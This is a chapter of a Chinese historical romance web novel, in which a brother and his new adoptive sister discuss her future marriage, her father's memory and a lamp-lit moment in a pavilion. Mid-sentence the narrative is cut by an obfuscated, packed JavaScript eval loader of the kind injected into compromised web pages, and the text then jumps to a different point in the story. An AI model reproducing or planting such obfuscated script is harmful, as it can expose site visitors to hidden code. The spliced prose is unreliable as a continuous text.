阿椿愁坏了：“刚醒来时还好，但睡前诵读一炷香很难做到。我睡前背东西，越背越发愁，只怕一晚上都要睡不着。” 沈维桢说：“看来你今晚也是背多了，把自己愁到了。” “那倒不是……”阿椿忧心忡忡，许久后，又出声，“我是怕嫁人。” 沈维桢意外：“什么嫁人？” 阿椿没有说出沈湘玫的名字：“我听人说，老祖宗在为我选择夫婿。” 沈维桢淡然：“不单单是你，湘玫，琳瑛，你们年岁到了，成婚是件大事，总要提前相看。” 早在及笄前，老祖宗已经开始留心了。 沈维桢是男子，自问无法真正理解女子处境，虽说妹妹们将来都是要联姻的，但他不会只为权利就将妹妹们送进虎狼窝。 未来妹夫的身家，人品、相貌、才学，都由他来考察，至于深宅中一些关系，则有老祖宗和李夫人上心。 这些事情，沈维桢原以为阿椿会知道，现下看来，她什么都不懂；一件没影的事情，就已经让她睡不着觉了。 将来若是出嫁，岂不是要好几宿都闭不上眼。 他不会安慰妹妹。 其他的妹妹们也不需要他关心，自有她们的血亲兄长和母亲照料。 唯独静徽，在这府上，唯一能依靠的只有他了。 想到这里，沈维桢不免又动恻隐之心。 “我会替你相看，”他允诺，“选择良婿。” 阿椿说：“按照礼法，哥哥是不是不该和我说这些？” 沈维桢说：“按照礼法，你也不该同我说那些。” “可哥哥还是让我说了，”阿椿小声，“对不住。” “礼法是用来约束自己言行，而非折磨他人，”沈维桢说，“倒也不必墨守成规，事事皆有变通，你刚来府上，又怎能要求你事事守礼？即使是圣人，也做不到时时恪守礼节。不过，这些只能在我面前，外人前头，你还是留心些。” 阿椿眼睛一热。 尽管沈维桢许了她叫哥哥，认下这个妹妹，可直到今晚，她才真心实意地觉得，沈维桢就是她的哥哥。 她今晚才觉同哥哥交了心。 “谢谢哥哥，”阿椿说，“既然哥哥觉得无妨，那我就说了，哥哥为我择婿时，请选择家世好些的，我不愿嫁寒门贵子。只要家底丰厚、人大方，相貌啊、才学呀，什么都可以往后放一放。” 沈维桢渐渐皱起眉：“为何？” “我没什么规矩，也无才情，身世又如此，那些人品好家世尊贵的，必然不肯选我，”阿椿说出心里话，“世上没有十全十美的事情，即使真有处处挑不出毛病的人，愿意娶我，也未必就能让我遇见。只求哥哥，能替我择一个家底殷实的……” 想了想，阿椿又怕这个要求也贪心了，补充：“倘若不成，我也愿意做妾。” “胡闹！！！” 沈维桢沉下脸，猛然起身，斥责：“恐怕刚才风大，吹走了你的脑子，才叫你在这里胡言乱语！” 阿椿被吓到了。 这是她第一次见沈维桢愤怒——他气得看起来像要杀了她。 阿椿不敢说话了，低着头。 沈维桢要被气到头昏。 刚才她学不懂、不会读，他都觉没什么，也没觉得她什么都不懂，只想着她刚开始读书，只要肯学，慢慢来就好；可她这句话，真是令他愤怒了—— “看来我今日本就不该过来，更不该同你说这些，”沈维桢说，“你走吧。” 这是不愿多谈了。 沈维桢无法谈，能谈什么？他毕竟是她哥哥，不是她的姐姐。再谈下去，他怕自己说重了刺痛她，又怕说轻了她不晓得其中利害。 罢了。 明日，让沈宗淑去找她吧。 “哥哥，我娘生病，每月所需医药费、药材费，皆如流水一般，”阿椿伤心，怕哥哥不肯再亲近，立刻说，“我想，若是找个富贵人家——” “你怕哥哥养不起你们？” “不……” 沈维桢原已起身走了，闻言，又回头，看着她，心情复杂。 她说了很不对的东西，应该纠正。 但现下她穿着薄衣，坐在这楼阁中，惶恐凄然，刚才他不过斥责一句，她就怕得像做了天大的错事——何至于。 他往日斥责几个弟弟妹妹时，说的话比这更重，也没见他们如她这般惶恐。 说到底，还是她无依无靠，在这府上才如此小心、恐惧。 还是做哥哥的不对。 “为何有这样的想法？”沈维桢说，“我既已在父亲灵前起誓，就不会不管你们。老祖宗、母亲都有见证，你何必想着要离开。” 阿椿心中难受：“我总要嫁人的。” “将来你嫁出去，这里也是你的母家；你的母亲，我会差人照料，”得知缘由后，沈维桢面色稍霁；既然她没有想岔，他刚才的话的确重了些，于是缓声，“父亲曾经写信，希望能为你上族谱，只是有些难办；前几天，老祖宗重提了此事，找我商议，说想让父亲收你做义女，这样，族谱上，你就能记在父亲名下，以后出门做客，就是正经的沈府姑娘沈静徽。” 阿椿听得茫然。 她还在为刚才哥哥的疾言厉色难过，并不在乎什么族谱不族谱，上了有什么用呢？表姑娘和姑娘有什么区别呢？又不能让娘快快好起来，也不能给现在的生活带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈维桢看，是社糕。 他没有夜间饮食的习惯，因曾练过道家功夫，注重修身养性，睡前吃太饱，不利于肠胃。 但妹妹是个可怜的半瞎，这里黑，她看不清，那几块社糕在她帕子上颤颤巍巍，他再不拿，怕是就要掉下去了。 沈维桢接过，放在口中，细细品。 他已很久没有吃过府上的社糕。 秋社是个大日子，山长看重他，他需要做的事情很多，还要与人交际；几乎年年都是如此，深夜后才归府。 沈府惜福养生，做的社糕也要用药材，用芡实、人参、白术、茯苓和砂仁，调了糯米粉和粘米粉制成，虽加了白砂糖来调和味道，但也不会过分甜腻。 吃人嘴软。 今日的沈维桢算是体会到了。 他吃了妹妹的社糕，便不好再斥责她——还是小女孩呢，不懂婚事不懂…… 不忘问：“你特意留着这社糕？喜欢吃？” 阿椿老实：“原本想烧给爹尝尝，他很记挂着京城的社糕。” 沈维桢险些噎住。 一时间，竟不知吃，还是不吃。 “爹说，哥哥在假山有一方小天地，旁人都找不到，只有哥哥能寻到，”阿椿说，“我想爹，哥哥深夜去假山，也是在想爹吧？” 剩下的那些社糕，沈维桢不吃了，他用帕子仔细包好，预备着等会儿贡到父亲牌位前。 是她的一份心意。 “你若是想他，就好好地、开心地、体面地活着。”沈维桢不愿回答，他不想表露在幼妹面前展露那些情感，失意、难过、犹豫，这些情感过于脆弱，他是长兄，是她的哥哥，怎能让她瞧见。 为人兄长者，本该为弟妹遮蔽风雨，而非让自身的风雨淋到她们身上。 他说：“生者的幸福，才是对已逝者最大的告慰。” 阿椿想了想，要“好好地、开心地、体面地活着”，要在京城中幸福，不知还要挨多少手板，背多少诗句、读多少的书。 真是不敢想。 看她怔忡，沈维桢叹息，妥协：“你若不喜欢家境清寒，那我便为你寻一合适的富贵人家。什么‘妾’不‘妾’的，今后不可再提了，若传出去，让人笑话。” 阿椿低低应一声，还想说什么，只听外面有人提高声音，问：“谁在里面？” 她眼疾手快，立刻伸手，想去吹灭明瓦灯；但沈维桢眼不疾手更快，也同样去拿明瓦灯，不可避免地，他握住她的手，只一下，便立刻松开了。 阿椿没觉得握手有什么大不了，可沈维桢身体一震，紧皱眉头，停了一下，才拿起那盏明瓦灯，低声嘱托阿椿：“莫出声。” 阿椿很听话，重重点头。 因为看不清，她是背对着沈维桢点的头。 沈维桢叹了口气。 听到动静，阿椿马上挪过来，正对着他，不好意思笑笑，重新又点了一次头。 就在这一瞬，沈维桢提起了明瓦灯，这是今晚上，光亮离他脸庞最近的一次。 听雪轩内漆黑一团，阿椿的眼睛只能看到明瓦灯的亮光，灯笼抬高，依次照亮—— 松绿色有竹叶暗纹的衣衫，喉结，下颌，薄唇，高鼻，眼睛……哥哥的眼睛又大又黑又深，睫毛浓长眉骨高…… 阿椿一个哆嗦。 像烛火爆了个花。 她想。 原来哥哥生得如此好看……先前沈维桢严厉，也不与她亲近，以至于她常常不敢细看他的脸，甚至被那冷淡的气质压到常常低头，无法细细观赏。 天啊！哥哥竟如此好看！！！